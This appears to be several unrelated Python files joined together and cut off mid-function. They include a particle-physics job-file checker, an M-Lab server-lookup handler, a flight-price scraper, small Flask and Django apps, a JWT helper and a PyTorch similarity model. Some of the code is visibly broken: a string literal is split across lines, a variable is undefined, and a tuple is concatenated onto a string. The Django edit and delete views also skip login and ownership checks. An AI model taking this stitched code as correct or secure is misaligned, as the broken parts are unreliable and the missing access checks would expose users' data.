                print ('can not unzip the file, try again (count %i)'%self.count)
                self.count+=1
                os.system('rm %s'%(fcount))
                return -1,False

            nevts = 100000 # temporary hack !!
            if not hack:
                if os.path.isfile('tmp.slcio'):
                    os.system('rm tmp.slcio')
                cmd='stdhepjob %s tmp.slcio 1000000000 | grep \"written to LCIO\" ' %(fcount.replace('.gz',''))
                outputCMD = ut.getCommandOutput(cmd)
                if len( outputCMD["stdout"].split() ) < 2:
                    print('... problem in checkFile_stdhep with stdhepjob')
                snevts = outputCMD["stdout"].split()[1]
                nevts=int(snevts)
                os.system('rm tmp.slcio')
                if nevts==0:
                    print ('no events in the file, job is bad')
                    os.system('rm %s'%(fcount.replace('.gz','')))
                    return 0,False
                else:
                    print ('%i events in file %s, job is good'%(nevts,f))
                    os.system('rm %s'%(fcount.replace('.gz','')))
            return nevts,True
        else:
            print ('file not properly copied... try again (count %i)'%self.count)
            if not ut.testeos(self.para.eostest,self.para.eostest_size):
                print ('eos seems to have problems, should check, will exit')
                sys.exit(3)
            self.count+=1
            return -1, False

#__________________________________________________________
    def checkFile_lhe(self, f):
        size=os.path.getsize(f)
        if size==0:
            self.count+=1
            print ('file size is 0, job is bad')
            return -1,False

        filecounting='filecounting'
        if os.path.isdir(filecounting)==False:
            os.system('mkdir %s'%filecounting)
        else:
            if len(glob.glob('%s/*lhe*'%filecounting))>0:os.system('rm %s/*lhe*'%filecounting)
        cmd='cp %s %s'%(f,filecounting)
        outputCMD = ut.getCommandOutput(cmd)
        fcount='%s/%s'%(filecounting,f.split('/')[-1])
        if os.path.isfile(fcount):
            cmd='gunzip %s'%(fcount)
            outputCMD = ut.getCommandOutput(cmd)
            stderr=outputCMD["stderr"]
            if len(stderr)>0:
                print ('can not unzip the file, try again (count %i)'%self.count)
                self.count+=1
                os.system('rm %s'%(fcount))
                return -1,False

            cmd='grep \"<event>\" %s | wc -l'%(fcount.replace('.gz',''))
            outputCMD = ut.getCommandOutput(cmd)
            stdoutplit=outputCMD["stdout"].split(' ')
            nevts=int(stdoutplit[0])
            if nevts==0:
                print ('no events in the file, job is bad')
                os.system('rm %s'%(fcount.replace('.gz','')))
                return 0,False
            else:
                print ('%i events in file %s, job is good'%(nevts,f))
                os.system('rm %s'%(fcount.replace('.gz','')))
                return nevts,True
        else:
            print ('file not properly copied... try again (count %i)'%self.count)
            if not ut.testeos(self.para.eostest,self.para.eostest_size):
                print ('eos seems to have problems, should check, will exit')
                sys.exit(3)
            self.count+=1
            return -1, False

#__________________________________________________________
    def checkFile_root(self, f, tname):
        tf=None
        try:
            tf=r.TFile.Open(f)
        except IOError as e:
            print ("I/O error({0}): {1}".format(e.errno, e.strerror))
            print ('file ===%s=== must be deleted'%f)
            return -1,-1,False
        except ValueError:
            print ("Could read the file")
        except:
            print ("Unexpected error:", sys.exc_info()[0])
            print ('file ===%s=== must be deleted'%f)
        #os.system('rm %s'%f)
            return -1,-1,False

        tf=r.TFile.Open(f)
        tt=None
        try :
            tt=tf.Get(tname)
            if tt==None:
                print ('file ===%s=== must be deleted'%f)
            #os.system('rm %s'%f)
                return -1,-1,False

        except IOError as e:
            print ("I/O error({0}): {1}".format(e.errno, e.strerror))
            print ('file ===%s=== must be deleted'%f)
            return -1,-1,False
        except ValueError:
            print ("Could read the file")
        except OSError:#for root 6.24
            print ('file ===%s=== must be deleted'%f)
        #os.system('rm %s'%f)
            return -1,-1,False
        except:
            print ("Unexpected error:", sys.exc_info()[0])
            print ('file ===%s=== must be deleted'%f)
        #os.system('rm %s'%f)
            return -1,-1,False

        if not ut.isValidROOTfile(f):
            return -1,-1,False

        f=r.TFile.Open(f)
        tt=tf.Get(tname)
        nentries=tt.GetEntries()
        weight_sum=float(nentries)

        ##TODO: here we miss the metadata to get the sum of weights properly done
	## compute sum of weights
        #r.gROOT.SetBatch(True)
        #tt.Draw('mcEventWeights.value[0]>>histo')
        #histo=r.gDirectory.Get('histo')
        #
        #try:
        #    weight_sum=float(nentries)*histo.GetMean()
        #except AttributeError as e:
        #    print ("error ",e)
        #    if nentries!=100000 and nentries!=10000:
        #        print ('nentries  ',nentries)
        #        #nentries=0
        if nentries==0:
            print ('file has 0 entries ===%s=== must be deleted'%f)
            return 0,0,False

        print ('%i events in the file and sum of weights = %f --> job is good'%(nentries,weight_sum))
        return int(nentries),weight_sum,True

#__________________________________________________________
    def makeyamldir(self, outdir):

        if not ut.dir_exist(outdir):
            os.system("mkdir -p %s"%outdir)

        if  outdir[-1]!='/':
            outdir+='/'

        return outdir

#__________________________________________________________
    def check(self, force, statfile):

        #ldir=[x[0] for x in os.walk(self.indir)]
        ldir=next(os.walk(self.indir))[1]

        if not ut.testeos(self.para.eostest,self.para.eostest_size):
            print ('eos seems to have problems, should check, will exit')
            sys.exit(3)

        for l in ldir:
            if self.process!='' and self.process!=l:
                continue
            #continue if process has been checked
            if l=='BADPYTHIA' or l=='lhe' or l=="__restored_files__" or l=="backup": continue
            print ('%s/%s/check'%(self.yamldir,l))
            if not ut.file_exist('%s/%s/check'%(self.yamldir,l)) and not force: continue
            print ('--------------------- ',l)
            process=l
            All_files = glob.glob("%s/%s/events_*%s"%(self.indir,l,self.fext))
            print ('number of files  ',len(All_files))
            if len(All_files)==0:continue

            print ('process from the input directory ',process)

            outdir = self.makeyamldir(self.yamldir+process)
            hasbeenchecked=False
            nevents_tot=0
            sumweights_tot=0
            njobsdone_tot=0
            njobsbad_tot=0
            userjobs=[]
            for f in All_files:

                self.count = 0
                if not os.path.isfile(f):
                    print ('file does not exists... %s'%f)
                    continue

                jobid=f.split('_')[-1]
                jobid=jobid.replace(self.fext,'')
                userid=ut.find_owner(f)

                outfile='%sevents_%s.yaml'%(outdir,jobid)
                if  ut.getsize(outfile)==0:
                    cmd="rm %s"%(outfile)
                    print ('file size 0, remove and continue   ',cmd)
                    os.system(cmd)
                    continue
                if ut.file_exist(outfile) and ut.getsize(outfile)> 100 and not force:
                    doc = None
                    with open(outfile) as ftmp:
                        try:
                            doc = yaml.load(ftmp, Loader=yaml.FullLoader)
                        except yaml.YAMLError as exc:
                            print(exc)
                        except IOError as exc:
                            print ("I/O error({0}): {1}".format(exc.errno, exc.strerror))
                            print ("outfile ",outfile)
                        try:
                            if doc!=None:value = doc['processing']['status']
                            if value=='DONE': continue

                        except KeyError as e:
                            print ('status %s does not exist' % str(e))

                hasbeenchecked=True
                print ('-----------',f)

                if '.root' in self.fext:
                    nevts, sumw, check=self.checkFile_root(f, self.para.treename)
                    status='DONE'
                    if not check: status='BAD'

                    if status=='DONE':
                        nevents_tot+=nevts
                        sumweights_tot+=sumw
                        njobsdone_tot+=1
                        if userid not in userjobs:userjobs.append(userid)
                    else:
                        njobsbad_tot+=1

                    dic = {'processing':{
                            'process':process,
                            'jobid':jobid,
                            'nevents':nevts,
                            'sumofweights':sumw,
                            'status':status,
                            'out':f,
                            'size':os.path.getsize(f),
                            'user':userid
                            }
                           }
                    try:
                        with open(outfile, 'w') as outyaml:
                            yaml.dump(dic, outyaml, default_flow_style=False)
                        continue
                    except IOError as exc:
                            print ("I/O error({0}): {1}".format(exc.errno, exc.strerror))
                            print ("outfile ",outfile)
                            time.sleep(10)
                            with open(outfile, 'w') as outyaml:
                                yaml.dump(dic, outyaml, default_flow_style=False)
                            continue

                elif '.lhe.gz' in self.fext:
                    nevts,check=self.checkFile_lhe(f)
                    while nevts==-1 and not check:
                        nevts,check=self.checkFile_lhe(f)
                        if self.count==10:
                            print ('can not copy or unzip the file, declare it wrong')
                            break

                    status='DONE'
                    if not check: status='BAD'

                    if status=='DONE':
                        nevents_tot+=nevts
                        njobsdone_tot+=1
                    else:
                        njobsbad_tot+=1

                    dic = {'processing':{
                            'process':process,
                            'jobid':jobid,
                            'nevents':nevts,
                            'status':status,
                            'out':f,
                            'size':os.path.getsize(f),
                            'user':userid
                            }
                           }
                    with open(outfile, 'w') as outyaml:
                        yaml.dump(dic, outyaml, default_flow_style=False)
                    continue

                elif '.stdhep.gz' in self.fext:
                    nevts,check=self.checkFile_stdhep(f)
                    while nevts==-1 and not check:
                        nevts,check=self.checkFile_lhe(f)
                        if self.count==10:
                            print ('can not copy or unzip the file, declare it wrong')
                            break

                    status='DONE'
                    if not check: status='BAD'

                    if status=='DONE':
                        nevents_tot+=nevts
                        njobsdone_tot+=1
                    else:
                        njobsbad_tot+=1

                    dic = {'processing':{
                            'process':process,
                            'jobid':jobid,
                            'nevents':nevts,
                            'status':status,
                            'out':f,
                            'size':os.path.getsize(f),
                            'user':userid
                            }
                           }
                    with open(outfile, 'w') as outyaml:
                        yaml.dump(dic, outyaml, default_flow_style=False)
                    continue

                else:
                    print ('not correct file extension %s'%self.fext)

            if hasbeenchecked:
                userstmp=''
                for u in userjobs:
                    if userstmp=='':
                        userstmp=u
                    else:
                        userstmp+=',',u

                cmdp='
date=%s \t time=%s njobs=%i \t nevents=%i  \t sumofweights=%f\t njobbad=%i \t process=%s \t users=%s
\n'%(ut.getdate_str(),ut.gettime_str() ,njobsdone_tot,nevents_tot, sumweights_tot, njobsbad_tot,process,userstmp)
                stat_exist=ut.file_exist(statfile)
                with open(statfile, "a") as myfile:
                    if not stat_exist:
                        myfile.write('<link href="/afs/cern.ch/user/f/fccsw/www/style/txtstyle.css" rel="stylesheet" type="text/css" />\n')
                        myfile.write('\n')

                    myfile.write(cmdp)

                print ('date=%s  time=%s  njobs=%i  nevents=%i  sumofweights=%f  njobbad=%i  process=%s users=%s'%(ut.getdate_str(),ut.gettime_str() ,njobsdone_tot,nevents_tot,sumweights_tot, njobsbad_tot,process,userstmp))


from google.appengine.api import memcache
from google.appengine.api import taskqueue
from google.appengine.ext import db
from google.appengine.ext import deferred
from google.appengine.ext import webapp
from google.appengine.ext.webapp import template

from mlabns.db import model
from mlabns.util import constants
from mlabns.util import message
from mlabns.util import lookup_query
from mlabns.util import resolver
from mlabns.util import util

import json
import logging
import time

class LookupHandler(webapp.RequestHandler):
    """Routes GET requests to the appropriate SliverTools."""

    def post(self):
        """Not implemented."""
        return util.send_not_found(self)

    def get(self):
        """Handles an HTTP GET request.

        The URL must be in the following format:
        'http://mlab-ns.appspot.com/tool-name?query_string',
        where tool-name is one of the tools running on M-Lab.
        For more information about the URL and the supported arguments
        in the query string, see the design doc at http://goo.gl/48S22.
        """
        query = lookup_query.LookupQuery()
        query.initialize_from_http_request(self.request)

        logging.info('Policy is %s', query.policy)
        lookup_resolver = resolver.new_resolver(query.policy)
        sliver_tools = lookup_resolver.answer_query(query)

        if sliver_tools is None:
            return util.send_not_found(self, query.response_format)

        if query.response_format == message.FORMAT_JSON:
            self.send_json_response(sliver_tools, query)
        elif query.response_format == message.FORMAT_HTML:
            self.send_html_response(sliver_tools, query)
        elif query.response_format == message.FORMAT_REDIRECT:
            self.send_redirect_response(sliver_tools, query)
        elif query.response_format == message.FORMAT_BT:
            self.send_bt_response(sliver_tools, query)
        elif query.response_format == message.FORMAT_MAP:
            candidates = lookup_resolver.get_candidates(query)
            self.send_map_response(sliver_tool, query, candidates)
        else:
            # TODO (claudiu) Discuss what should be the default behaviour.
            # I think json it's OK since is valid for all tools, while
            # redirect only applies to web-based tools (e.g., npad)
            self.send_json_response(sliver_tools, query)

        # TODO (claudiu) Add a FORMAT_TYPE column in the BigQuery schema.
        self.log_request(query, sliver_tools)

    def send_bt_response(self, sliver_tools, query):
        """Sends the response to the lookup request in bt format.

        Args:
            sliver_tools: A list of SliverTool instances,
                representing the best sliver
                tools selected for this lookup request.
            query: A LookupQuery instance representing the user lookup request.
        """
        if type(sliver_tools) is not list:
            logging.error("Problem: sliver_tools is not a list.")
            return

        bt_data = "";
        for sliver_tool in sliver_tools:
            fqdn = self._add_fqdn_annotation(query, sliver_tool.fqdn)

            data = sliver_tool.city
            data += ", "
            data += sliver_tool.country

            data += "|"
            data += fqdn
            data += "\n"

            bt_data += data
        self.response.headers['Access-Control-Allow-Origin'] = '*'
        self.response.headers['Content-Type'] = 'text/html'
        self.response.out.write(bt_data)

    def send_json_response(self, sliver_tools, query):
        """Sends the response to the lookup request in json format.

        Args:
            sliver_tools: A list of SliverTool instances,
                representing the best sliver
                tool selected for this lookup request.
            query: A LookupQuery instance representing the user lookup request.
        """
        array_response = False
        if len(sliver_tools) > 1:
            array_response = True

        if type(sliver_tools) is not list:
            logging.error("Problem: sliver_tools is not a list.")
            return

        tool = None
        json_data = "";
        for sliver_tool in sliver_tools:
            data = {}

            ip = []

            if tool == None:
                tool = model.get_tool_from_tool_id(sliver_tool.tool_id)

            logging.info('user_defined_af = %s', query.user_defined_af)
            if query.user_defined_af == message.ADDRESS_FAMILY_IPv4:
                ip = [sliver_tool.sliver_ipv4]
            elif query.user_defined_af == message.ADDRESS_FAMILY_IPv6:
                ip = [sliver_tool.sliver_ipv6]
            else:
                # If 'address_family' is not specified, the default is to
                # return both valid IP addresses (if both 'status_ipv4' and
                # 'status_ipv6' are 'online').
                # Although the update will only set the sliver as online if it
                # has a valid IP address, the resolver still returns it as
                # a candidate.
                if (sliver_tool.sliver_ipv4 != message.NO_IP_ADDRESS and
                    sliver_tool.status_ipv4 == message.STATUS_ONLINE):
                    ip.append(sliver_tool.sliver_ipv4)
                if (sliver_tool.sliver_ipv6 != message.NO_IP_ADDRESS and
                    sliver_tool.status_ipv6 == message.STATUS_ONLINE):
                    ip.append(sliver_tool.sliver_ipv6)

            fqdn = self._add_fqdn_annotation(query, sliver_tool.fqdn)
            if sliver_tool.http_port:
                data['url'] = ''.join([ 'http://', fqdn, ':', sliver_tool.http_port])
            if sliver_tool.server_port:
                data['port'] = sliver_tool.server_port

            data['fqdn'] = fqdn
            data['ip'] = ip
            data['site'] = sliver_tool.site_id
            data['city'] = sliver_tool.city
            data['country'] = sliver_tool.country

            if sliver_tool.tool_extra and tool.show_tool_extra:
                data['tool_extra'] = sliver_tool.tool_extra

            if json_data != "":
                json_data += ","
            json_data += json.dumps(data)

        if array_response:
            json_data = "[" + json_data + "]"
        self.response.headers['Access-Control-Allow-Origin'] = '*'
        self.response.headers['Content-Type'] = 'application/json'
        self.response.out.write(json_data)

    def send_html_response(self, sliver_tools, query):
        """Sends the response to the lookup request in html format.

        Args:
            sliver_tools: A list of SliverTool instances,
            representing the best sliver
                tool selected for this lookup request.
            query: A LookupQuery instance representing the user lookup request.

        """

        if type(sliver_tools) != list:
            logging.error("Problem: sliver_tools is not a list.")
            return

        records = []
        records.extend(sliver_tools)
        values = {'records' : records}
        self.response.headers['Access-Control-Allow-Origin'] = '*'
        self.response.out.write(
            template.render(
                'mlabns/templates/lookup_response.html', values))

    def send_redirect_response(self, sliver_tools, query):
        """Sends an HTTP redirect (for web-based tools only).

        Args:
            sliver_tool: A list of SliverTool instances,
                representing the best sliver
                tool selected for this lookup request.
            query: A LookupQuery instance representing the user lookup request.

        """
        if type(sliver_tools) != list:
            logging.error("Problem: sliver_tools is not a list.")
            return

        sliver_tool = sliver_tools[0]

        if sliver_tool.http_port:
            url = ''.join([
                'http://', self._add_fqdn_annotation(query, sliver_tool.fqdn),
                ':', sliver_tool.http_port])
            return self.redirect(str(url))

        return util.send_not_found(self, 'html')

    def send_map_response(self, sliver_tool, query, candidates):
        """Shows the result of the query in a map.

        The map displays a set of markers representing the user location,
        all the available sites and a line connecting the user to the
        destination site.

        Args:
            sliver_tool: A SliverTool instance. Details about the
                sliver tool are displayed in an info window associated to the
                sliver_tool's site marker.
            query: A LookupQuery instance.
            candidates: A list of SliverTool entities that match the
                 requirements specified in 'query'.
        """
        destination_site_dict = {}
        destination_site_dict['site_id'] = sliver_tool.site_id
        destination_site_dict['city'] = sliver_tool.city
        destination_site_dict['country'] = sliver_tool.country
        destination_site_dict['latitude'] = sliver_tool.latitude
        destination_site_dict['longitude'] = sliver_tool.longitude

        destination_fqdn = sliver_tool.fqdn
        if query.user_defined_af:
            destination_fqdn = self._add_fqdn_annotation(query,
                                                         sliver_tool.fqdn)

        destination_info = destination_fqdn
        # For web-based tools set this to the URL.
        if sliver_tool.http_port:
            url = 'http://' + destination_fqdn + ':' + sliver_tool.http_port
            destination_info = '' + \
                               url + ''

        destination_site_dict['info'] = \
            '

%s, %s
%s
' % \
            (sliver_tool.city, sliver_tool.country, destination_info)

        candidate_site_list = []
        for candidate in candidates:
            if candidate.site_id == sliver_tool.site_id:
                continue
            candidate_site_dict = {}
            candidate_site_dict['site_id'] = candidate.site_id
            candidate_site_dict['city'] = candidate.city
            candidate_site_dict['country'] = candidate.country
            candidate_site_dict['latitude'] = candidate.latitude
            candidate_site_dict['longitude'] = candidate.longitude
            candidate_site_list.append(candidate_site_dict)

        user_info = {}
        user_info['city'] = query.city
        user_info['country'] = query.country
        user_info['latitude'] = query.latitude
        user_info['longitude'] = query.longitude

        candidate_site_list_json = json.dumps(candidate_site_list)
        destination_site_json = json.dumps(destination_site_dict)
        user_info_json = json.dumps(user_info)

        self.response.out.write(
            template.render('mlabns/templates/lookup_map.html', {
                'sites' : candidate_site_list_json,
                'user' : user_info_json,
                'destination' : destination_site_json }))

    def _add_fqdn_annotation(self, query, fqdn):
        """Adds the v4/v6 only annotation to the fqdn.

        Example:
            fqdn:       'npad.iupui.mlab3.ath01.measurement-lab.org'
            ipv4 only:  'npad.iupui.mlab3v4.ath01.measurement-lab.org'
            ipv6 only:  'npad.iupui.mlab3v6.ath01.measurement-lab.org'

        Args:
            query: A LookupQuery instance.
            fqdn: A string representing the fqdn.

        Returns:
            A string representing the IPV4/IPV6 only annotated fqdn.
        """
        fqdn_annotation = ''

        if query.user_defined_af == message.ADDRESS_FAMILY_IPv4:
            fqdn_annotation = 'v4'
        elif query.user_defined_af == message.ADDRESS_FAMILY_IPv6:
            fqdn_annotation = 'v6'

        fqdn_parts = fqdn.split('.')
        fqdn_parts[2] += fqdn_annotation

        return '.'.join(fqdn_parts)

    def log_request(self, query, sliver_tools):
        """Logs the request. Each entry in the log is uploaded to BigQuery.

        Args:
            query: A LookupQuery instance.
            sliver_tool: SliverTool entity chosen in the server
                selection phase.
        """
        if sliver_tools is None:
            # TODO(claudiu) Log also the error.
            return
        if type(sliver_tools) != list:
            logging.error("Problem: sliver_tools is not a list.")
            return

        user_agent = ''
        if 'User-Agent' in self.request.headers:
            user_agent = self.request.headers['User-Agent']

        sliver_tool_info = ""
        for sliver_tool in sliver_tools:
            fqdn = sliver_tool.fqdn
            if query.user_defined_af:
                fqdn = self._add_fqdn_annotation(query, sliver_tool.fqdn)
            sliver_tool_info += "(%s %s %s %s %s %s %s %s %s %s %s) " % \
                (sliver_tool.slice_id,
                sliver_tool.server_id,
                sliver_tool.sliver_ipv4,
                sliver_tool.sliver_ipv6,
                sliver_tool.fqdn,
                fqdn,
                sliver_tool.site_id,
                sliver_tool.city,
                sliver_tool.country,
                sliver_tool.latitude,
                sliver_tool.longitude)

        # See the privacy doc at http://mlab-ns.appspot.com/privacy.
        # The list of these fields is consistent with the BigQuery schema,
        # except for the request latency field, that is added in the log2bq.py
        # since it's automatically computed by GAE for every request and
        # included in the request_log object.
        logging.info(
            '[lookup]'
            '%s,%s,%s,%s,'
            '%s,'
            '%s,%s,%s,%s,%s,%s,%s',
            # Info about the user:
            query.tool_address_family,
            query.ip_address,
            query.address_family,
            user_agent,
            sliver_tool_info,
            # Info about the request:
            query.tool_id,
            query.policy,
            query.response_format,
            query._geolocation_type,
            query.metro,
            str(time.time()),
            # Calculated information about the lookup:
            str(query.distance))


from bs4 import BeautifulSoup
import urllib.request
import requests
import re

posiblesCiudades = {"Arequipa": "AQP", "Barranquilla": "BAQ", "Bogotá": "BOG", "Bucaramanga": "BGA",  "Cajamarca": "CJA", "Cartagena": "CTG", "Chiclayo": "CIX", "Cusco": "CUZ", "Cúcuta" : "CUC,", "Iquitos": "IQT", "Jaén": "JAE", "Juliaca": "JUL", "Lima": "LIM", "Medellín": "MDE", "Miami": "MIA", "Montería": "MTR", "Pereira": "PEI", "Piura": "PIU", "Rioacha": "RCH", "San Andrés Islas": "ADZ", "Santa Marta": "SMR", "Tacna": "TCQ", "Talara": "TYl", "Tarapoto": "TPP", "Valledupar": "VUP"}

def buscarEnCiudad(pCiudad):

    encontrado = False

    for a in posiblesCiudades.keys():

        if a == ciudadDeOrigen:
            encontrado = True

    return encontrado

def abriendoPagina():

    url = "https://www.vivaair.com/co/es/vuelo?DepartureCity=BOG&ArrivalCity=SMR&DepartureDate=2019-11-25&Adults=2&Currency=COP"
    """
    if buscarEnCiudad(ciudadDeOrigen) and buscarEnCiudad(ciudadDestino):

        try:
            #url = "https://www.vivaair.com/co/es/vuelo?DepartureCity=" +posiblesCiudades[ciudadDeOrigen] +"&ArrivalCity="+posiblesCiudades[ciudadDestino]+"&DepartureDate=" + fechaDeSalida+ "&Adults=" + str(numeroDePasajeros) +"&Currency=COP"

            response = requests.get(url)
            print(response)
        except:

            print("Error en el url")

    """
    #se abre la pagina
    pagina = urllib.request.urlopen(url)
    #Ahora ya se tiene la pagina como un texto
    soup = BeautifulSoup(pagina, 'html.parser')

    print(soup.find_all(attrs={"COP 165,000": "from-price"}))

#PseudoInterfaz gráfica
"""
fechaDeSalida = input("Introduzca la fecha de salida ej:2019-10-25: ")
numeroDePasajeros = int(input("Numero de Pasajeros: "))
ciudadDeOrigen = input("Ciudad de Origen: ")
ciudadDestino = input("Ciudad Destino: ")
"""

abriendoPagina()


from flask import Flask, render_template
import random
from datetime import datetime
app = Flask(__name__)

@app.route('/')
def home_page():
    date = datetime.now()
    year = date.strftime("%Y")
    random_no = random.randint(1, 10)
    #after file name you can give as many keyword arguements
    return render_template("index.html", num=random_no, copyright_year=year)

if __name__ == "__main__":
    app.run(debug=True)

#by adding code between these brackets {{ }} code gets evaluated as python code


from django.shortcuts import render
from django.contrib.auth.decorators import login_required
from .models import Category,Expense
from django.contrib import messages
from django.shortcuts import redirect
from django.core.paginator import Paginator
import csv
from django.http import HttpResponse
from io import BytesIO
from reportlab.pdfgen import canvas
from django.http import HttpResponse
import openpyxl
from openpyxl.utils import get_column_letter
import json
from django.http import JsonResponse
import datetime

def search_expenses(request):
    if request.method == 'POST':
        search_str = json.loads(request.body).get('searchText')
        expenses = Expense.objects.filter(
            owner=request.user,
            amount__icontains=search_str,
        ) | Expense.objects.filter(
            owner=request.user,
            date__icontains=search_str,
        ) | Expense.objects.filter(
            owner=request.user,
            description__icontains=search_str,
        ) | Expense.objects.filter(
            owner=request.user,
            category__icontains=search_str,
        )
        data = list(expenses.values())  # Convert QuerySet to a list
        return JsonResponse(data, safe=False)

@login_required(login_url='/authentication/login')
def index(request):
    categories=Category.objects.all()
    expenses=Expense.objects.filter(owner=request.user)
    paginator=Paginator(expenses,2)
    page_number=request.GET.get('page')
    page_obj=Paginator.get_page(paginator,page_number)
    context={
        'expenses':expenses,
        'page_obj':page_obj
    }
    return render(request,'expenses/index.html',context)

@login_required(login_url='/authentication/login')
def add_expense(request):
    categories=Category.objects.all()
    context={
        'categories':categories,
        'values':request.POST
    }

    if request.method =="GET":
        return render(request,'expenses/add-expenses.html',context)

    if request.method=="POST":
        amount=request.POST['amount']

        if not amount:
            messages.error(request,"Amount is required")
            return render(request,'expenses/add-expenses.html',context)

        description=request.POST['description']
        date=request.POST['expense_date']
        category=request.POST['category']

        if not description:
            messages.error(request,"Description is required")
            return render(request,'expenses/add-expenses.html',context)

        Expense.objects.create(owner=request.user,amount=amount,date=date,description=description,category=category)
        messages.success(request,"Expense saved successfully")

        return redirect('expenses')

def expense_edit(request,id):
    expense=Expense.objects.get(pk=id)
    categories=Category.objects.all()
    context={
        'expense':expense,
        'values':expense,
        'categories':categories
    }

    if request.method =='GET':
        return render(request,'expenses/edit-expense.html',context)

    if request.method =='POST':
        amount=request.POST['amount']

        if not amount:
            messages.error(request,"Amount is required")
            return render(request,'expenses/edit-expense.html',context)

        description=request.POST['description']
        date=request.POST['expense_date']
        category=request.POST['category']

        if not description:
            messages.error(request,"Description is required")
            return render(request,'expenses/edit-expense.html',context)

        expense.owner=request.user
        expense.amount=amount
        expense.date=date
        expense.category=category
        expense.description=description

        expense.save()
        messages.success(request,"Expense updated successfully")

        return redirect('expenses')

def delete_expense(request,id):
    expense=Expense.objects.get(pk=id)
    expense.delete()
    messages.success(request,"Expense removed successfully")
    return redirect("expenses")

@login_required(login_url='/authentication/login')
def export_to_excel(request):
    response = HttpResponse(content_type='application/ms-excel')
    response['Content-Disposition'] = 'attachment; filename="expenses.xlsx"'

    expenses = Expense.objects.filter(owner=request.user)  # Adjust the query as needed

    workbook = openpyxl.Workbook()
    worksheet = workbook.active

    worksheet['A1'] = 'Date'
    worksheet['B1'] = 'Amount'
    worksheet['C1'] = 'Category'
    worksheet['D1'] = 'Description'

    for row_num, expense in enumerate(expenses, start=2):
        worksheet.cell(row=row_num, column=1, value=expense.date)
        worksheet.cell(row=row_num, column=2, value=expense.amount)
        worksheet.cell(row=row_num, column=3, value=expense.category)
        worksheet.cell(row=row_num, column=4, value=expense.description)

    workbook.save(response)

    return response

@login_required(login_url='/authentication/login')
def export_to_pdf(request):
    response = HttpResponse(content_type='application/pdf')
    response['Content-Disposition'] = 'attachment; filename="expenses.pdf"'

    expenses = Expense.objects.filter(owner=request.user)

    buffer = BytesIO()
    p = canvas.Canvas(buffer)

    p.drawString(100, 750, 'Date')
    p.drawString(200, 750, 'Amount')
    p.drawString(300, 750, 'Category')
    p.drawString(400, 750, 'Description')

    y = 730
    for expense in expenses:
        y -= 20
        p.drawString(100, y, str(expense.date))
        p.drawString(200, y, str(expense.amount))
        p.drawString(300, y, expense.category)
        p.drawString(400, y, expense.description)

    p.showPage()
    p.save()

    pdf = buffer.getvalue()
    buffer.close()
    response.write(pdf)

    return response

@login_required(login_url='/authentication/login')
def export_to_csv(request):
    response = HttpResponse(content_type='text/csv')
    response['Content-Disposition'] = 'attachment; filename="expenses.csv"'

    expenses = Expense.objects.filter(owner=request.user)  # Adjust the query as needed

    writer = csv.writer(response)
    writer.writerow(['Date', 'Amount', 'Category', 'Description'])

    for expense in expenses:
        writer.writerow([expense.date, expense.amount, expense.category, expense.description])

    return response

def expense_category_summary(request):
    today_date=datetime.date.today()
    six_months_ago=today_date-datetime.timedelta(days=30*6)
    expenses = Expense.objects.filter(owner=request.user, date__gte=six_months_ago, date__lte=today_date)
    finalrep={}

    def get_category(expense):
        return expense.category
    category_list=list(set(map(get_category,expenses)))

    def get_expense_category_amount(category):
        amount=0
        filtered_by_category=expenses.filter(category=category)

        for item in filtered_by_category:
            amount+=item.amount

        return amount

    for x in expenses:
        for y in category_list:
            finalrep[y]=get_expense_category_amount(y)

    return JsonResponse({'expense_category_data':finalrep},safe=False)

def stats_view(request):
    return render(request,'expenses/stats.html')


import time
from typing import Dict
import jwt
from decouple import config

JWT_SECRET = config("secret")
JWT_ALGORITHM = config("algorithm")

# Генерация токена
def signJWT( user_id: str, login: str) -> Dict[str, str]:
    payload = {
        "user_id": user_id,
        "login": login,
        "expires": time.time() + 600
    }
    token = jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)
    return  {"accessToken": token}

# Расшифровка токена
def decodeJWT(token: str) -> dict:
    try:
        decoded_token = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])
        return decoded_token if decoded_token["expires"] >= time.time() else None
    except:
        return {}


'''
Main LatentSimilarity class
Modified 1/12/23 for simplicity

Best way to use is to define a stopping criteria
Use of the sklearn interface results in automatic creation of validation set,
from the training set, which then determines best parameter choice

2/8/23 Added automatic validation set creation in sklearn.py
2/9/23 Automatic fallback to CPU if CUDA not available
'''

import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F

def to_cuda(x):
    try:
        return x.float().cuda()
    except:
        return x.float()

class LatSim(nn.Module):
    def __init__(self, d, ld=2):
        super(LatSim, self).__init__()
        self.A = nn.Parameter(to_cuda(torch.randn(d,ld)/(d**0.5)))

    def E(self, xtr, xt):
        # Normalize inputs
        mu = torch.mean(xtr, dim=0, keepdims=True)
        xtr = xtr - mu
        xt = xt - mu
        # Similarity matrix
        AT = (xtr@self.A).T
        A = xt@self.A
        E = A@AT
        return F.softmax(E,dim=1)

    def forward(self, xtr, ytr, xt=None):
        if xt is None:
            xt = xtr
        E = self.E(xtr, xt)
        return E@ytr

def train_sim_mse(*args, **kwargs):
    kwargs['lossfn'] = nn.MSELoss()
    train_sim(*args, **kwargs)

def train_sim_ce(*args, **kwargs):
    kwargs['lossfn'] = nn.CrossEntropyLoss()
    train_sim(*args, **kwargs)

def train_sim(sim, xtr, ytr, stop=0, xv=None, yv=None, lr=1e-4, wd=1e-4, nepochs=1000, pperiod=20, lossfn=nn.MSELoss(), verbose=False):
    # Validation set
    if xv is not None and yv is not None:
        if yv.dim() == 2:
            yvv = torch.argmax(yv, dim=1)
            best = 0
        else:
            best = float('inf')
        bestA = None

    # Optimizers
    optim = torch.optim.Adam(sim.parameters(), lr=lr, weight_decay=wd)
    sched = torch.optim.lr_scheduler.ReduceLROnPlateau(optim, patience=20, factor=0.75, eps=1e-7)

    for epoch in range(nepochs):
        optim.zero_grad()
        yhat = sim(xtr, ytr)
        loss = lossfn(yhat, ytr)
        loss.backward()
        optim.step()
        if loss < stop:
            break
        sched.step(loss)
        # Check validation set
        if xv is not None and yv is not None:
            with torch.no_grad():
                yhat = sim(xtr, ytr, xv)
                if yv.dim() == 2:
                    yhat = torch.argmax(yhat, dim=1)
                    acc = torch.sum(yvv == yhat)/len(yvv)
                    acc = float(acc)
                    better = acc > best
                else:
                    acc = lossfn(yhat, yv)
                    acc = float(acc)
                    better = acc < best
                if better:
                    best = acc
                    bestA = sim.A.detach()
                    if verbose:
                        print(f'Best acc {acc}')
        if epoch % pperiod == 0 or epoch == nepochs-1:
            if verbose:
